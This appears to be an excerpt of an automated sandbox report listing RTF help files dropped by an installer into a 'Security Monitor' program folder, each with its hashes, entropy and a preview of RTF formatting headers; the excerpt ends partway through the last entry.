Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\is-FUD1N.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	37144
Entropy (8bit):	5.0396581331661805
Encrypted:	false
SSDEEP:	768:VkGN4JtOiBkyKWm+XnvKT0+3HEXL6LhyXWx2jUvJq4TU:VkHHR4TU
MD5:	3EE19309BA4E122B381C9DFD89AC3E83
SHA1:	5B5AD1A494BFE593C8A74BED71A60BAA2F47AFC2
SHA-256:	2E73E1CC938915B084B13D3E93931B5FC5DB48ECBDDCB5D14B0684F919A18067
SHA-512:	B9ABFE6A3327565F79F2488CA67DD18D3053DDA2C5F7A52F0521F77942B69E7133EA88687E7EAAD73F53A7D6280A92A91A269DC8CBCEBF896D2D9C044073EB58
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\is-GF9HA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	78397
Entropy (8bit):	4.994922160783421
Encrypted:	false
SSDEEP:	1536:w4ZCmyp6N8nvBnhv+yyW6OjFwLYbJcmTaIwIA9h:wAFjmuND
MD5:	52630AF15CE5E8DF4DFBAD1E2CECBDCC
SHA1:	7D5A3ED6E274227C05486B222C5B348A4489B96E
SHA-256:	08CBE91EB083B28FA50DBA66B6386FB3446958F27BD31B5EAD83824EE236D9D3
SHA-512:	43AAB356956B2C61E72CA87EF2AB966EB9BEB23B8A414B017DC6E2061A594556D696E705A346E442B6BE21C798D2720B61515C9ABE5A8582D6F6654829909893
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Time

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\is-GLE8G.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	45200
Entropy (8bit):	5.054793082738369
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmm38RiaKvX2pBEz/9qj+793RM1HWMV5XA:VklnI3K4T7
MD5:	C60A8FC0107FBDBEF9FDD171B44442FD
SHA1:	F0F4187630411D3F6F0DE7ECD98CE99AAD45AAD9
SHA-256:	576A4766C686DC03E95228C84262970BC266ECE801DB7127E68EB8F1080CCFFC
SHA-512:	5E209424A9E25DF565C3648A4350AD76FF144165ACBF02FCD891B1F6EB87AA0CEBE3710F9903D9F796005724B44843E8D36E41768BF2E4188191E97ED58D5C61
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\is-IN9UP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	36715
Entropy (8bit):	5.031988851778873
Encrypted:	false
SSDEEP:	768:w4FkNxjETicPI0QhhiLVDfpZMHDMI4ZlZ/6A9T:w4G3UnnIA9T
MD5:	3782483D6EE007A1D36CF22E4377E736
SHA1:	28407BF172DD8CE139D46271AA509A64AE3C96E4
SHA-256:	6E7E08A47C098030ADE2040BB9605B271619E9D57FB57BF9C2895710B64485A9
SHA-512:	7AC317D52EADCF7EE5C9B1244FAA030376953ECD7227F0735D8755BDE2F6E483DA6D8D629A8D978A16EF1969D94DBFBAF6342B3BFFAA58BF61B2874959A4E2A2
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbmi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\is-LJVKK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	44178
Entropy (8bit):	5.050546012194347
Encrypted:	false
SSDEEP:	768:Vk13ixj2HiBkyKWm+m2NjrOX/zJSYctuTZ4Y+2XrXZ3iE8f32HNzQf3IUBwkl2/j:VkeWY4TJ
MD5:	8C6D29E2A257F91393950B5369539D50
SHA1:	674B7489A1DDF7B46040AC571F3DACCEA00F0162
SHA-256:	9A4326ABEFF7FEABB451943D15DC7CDD41DB433BE2A450BFF0C024E0302C6BA2
SHA-512:	81E81D6E6920F9E3B5D601209CE5C79343EE95B4BED07C6788A30B8E48F337E8D73918291634E98644AA3BE96A6E171F9F610FD33EEDDB6B1D17DD9E1A25FA64
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 0204050305040603020

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\is-M9T24.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	44713
Entropy (8bit):	5.051900255865599
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmmqARQOjeF/RS+Lp9XhPXhnPnCLTXM40K:VklnIqxR4Td
MD5:	1BD599E9D3E51995F3F39B6B680BCF5D
SHA1:	E0192B60533DD734AD8B4500125A25E78A48E551
SHA-256:	3894B01C5A095E0EA124AE6FE638F75990FB12D96FFD000EDAAD43D9399D5DEF
SHA-512:	726F4E9BED9C4CBF56AC082A81512ED842EADC28028FD6A8895954C4E946F20681E8C6A28236674E3B1006538E10EC2F5974C4F115D74DD1928E7DC2ABA3FF07
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\is-OPQK6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	43096
Entropy (8bit):	5.0549310472842155
Encrypted:	false
SSDEEP:	768:Vk1IwSxjeXQuTJcOerjj1oKauIKx49kWYhRnFJR2qitxAC5fAw7Wcu7aoZq4TR:VkzQUS7A4TR
MD5:	CFFAB85802341BBD48B8494EE847AB9A
SHA1:	06FA12A2151BA01366452069E218382C32581B41
SHA-256:	51C57212580E8C320617943231A7BA8D592F77544E3BF302E89A419F68EFF751
SHA-512:	99C5E288398E430D0BEC05F3EE93044136DE019BF5A98962550B7D82D069441DC507BE9A22DCCEF62058AA64BF7F78D252BE579899DFF252F25F422C00113772
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f39\fbidi \fswiss\fcharset0\fprq2 Arial CYR;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fro

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\is-Q8JL9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	46393
Entropy (8bit):	5.040883358685065
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmmq9RXRjOotI3qyLbfl4vBLbflAvQLbft:VklnIqG4Tb
MD5:	A44BC6DAA0FB852B0CC5F2930B338509
SHA1:	2E78886E8630AA1D8AEB320F5324635B36FE241E
SHA-256:	87355813ED68AB3CC1FC6AC77DBC2AA16248012FACAEE98F06F106A28D2F688D
SHA-512:	A589A22F3E556B104ECA9D4E557B65218C254587DC3CD73569D7F0101CD1073E61068699BD48CF0B4A695772C82FAD1A689ABC7D6CCB90A043E1FE729140B795
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\is-RKDP4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42991
Entropy (8bit):	5.042023549126302
Encrypted:	false
SSDEEP:	768:wqFkwxjeVGh+DoLLXI1nhDGi3w2EHlT2njX8x3DGRlBB42Nn92knS7eOZ/6A97:wqR3zIA97
MD5:	4406D386834A212EB3AD85B6410AEE1B
SHA1:	FE40A4177AEBEF814E9104273942637E62180E61
SHA-256:	4C083A2E2B9A6314BE4C4616010210D7191A949BB5849D140631CAA6AF0B8E5D
SHA-512:	DAD1AC26094545FFBB57D74B6C04ACB2E5279F8B045D3BD53CB27ACD877F6FDC4C9A6894B7A703C5A94EF6805E2AD98D7B1C6588CF9CF90BB790AE2625AA8AD0
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 0

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\keyboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	43096
Entropy (8bit):	5.0549310472842155
Encrypted:	false
SSDEEP:	768:Vk1IwSxjeXQuTJcOerjj1oKauIKx49kWYhRnFJR2qitxAC5fAw7Wcu7aoZq4TR:VkzQUS7A4TR
MD5:	CFFAB85802341BBD48B8494EE847AB9A
SHA1:	06FA12A2151BA01366452069E218382C32581B41
SHA-256:	51C57212580E8C320617943231A7BA8D592F77544E3BF302E89A419F68EFF751
SHA-512:	99C5E288398E430D0BEC05F3EE93044136DE019BF5A98962550B7D82D069441DC507BE9A22DCCEF62058AA64BF7F78D252BE579899DFF252F25F422C00113772
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f39\fbidi \fswiss\fcharset0\fprq2 Arial CYR;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fro

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\logging.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	39446
Entropy (8bit):	5.027602531409886
Encrypted:	false
SSDEEP:	384:qY6g3X45Y8qb7PzybdKkjnxhVj+pmvhY3q2g4Qi6rGsoUwEAG2DaGa:qhg3WxhVCpm5cNZdU4a
MD5:	D0412C982483B1FF14AFA1B5C84956B2
SHA1:	1CBFDCC34F3DBFAC69E0DBC156B7A14A9E68F0FF
SHA-256:	BB09C2D2E43E921D0A42D1EB90AC5EB5639D85A5DFAECF38D36DC3B1D35DF9F8
SHA-512:	A1545A9E433401BB884D801D9FE76C37D8F00A68E9569A62873142446271FEF153A3B2770BA0F9FF11179DCEF03803ECD5CDC9DAA651FCF6036B36FD27556367
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang3082\deflangfe3082\themelang3082\themelangfe0\themelangcs0{\fonttbl{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}..{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fh

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\noPRO.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	52940
Entropy (8bit):	4.975127205823685
Encrypted:	false
SSDEEP:	768:wqeaxjEJHT2njX8x3TLjwUtqYepAkVZEdvI9DhL8DqGJU4wEgmODwKEPrTDjwEaP:wql9hL8/44J0IA9H
MD5:	3F8E8B70614BCFC77C9E8A18E5B10EBF
SHA1:	1AAEB77F20B21A38684CDEDB73575D291C903060
SHA-256:	F55FBEE6CA1A13B8462150E411B63B84763DA220846DF944877DB2F3C617D8AC
SHA-512:	1C4262B5FB06626E41CF0CDD834F8A36007354934A07A24E4FF03BD6DBE45F4E8D52E06B4A08081E2AFEA8CCDD59E684ACF7241EC30B00AF526AB61A5F88ECAC
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\noURL.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	68054
Entropy (8bit):	4.9836821536158835
Encrypted:	false
SSDEEP:	768:wqFy4Te+UJHT2njX8x3TLjwUtqYepAkVZEdvI9vT4H1qRKPN6K2ZREhe5Vu3bXrr:wqJ6IT4HQ++PUIA9pP
MD5:	A7279F7C4C7B0BCB8653144D541FAC2A
SHA1:	6B24410FF99110DB0A369E7CB73E990B799555F8
SHA-256:	CCFBF10B3E30471B234505F21E1929CA1388CD2959423E554A82E0EBF0946D21
SHA-512:	B7C36C86657AE567FD1BF553965F2A6739698A70B82B6A3E64121D056A1941BAD8A1BA867CB1D1B1D83AA7E42B7206786BC712CAD07E517DCB3A0B80F97F26FC
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Tim

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\scheduler.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	42179
Entropy (8bit):	5.051623327565713
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmmVQP9RTaC0n1azbtSqqjgq4Tt:VklnIVQPc4Tt
MD5:	5BF7705E104DAE21287D29BA6B73F990
SHA1:	68FE0FAEB83DD82163599C4A0C86A42EB0E1645F
SHA-256:	425E9788DA3299CCF2FE2E25AD8E4BF0EF65F22E2F10702C7EDA2FA6D160917A
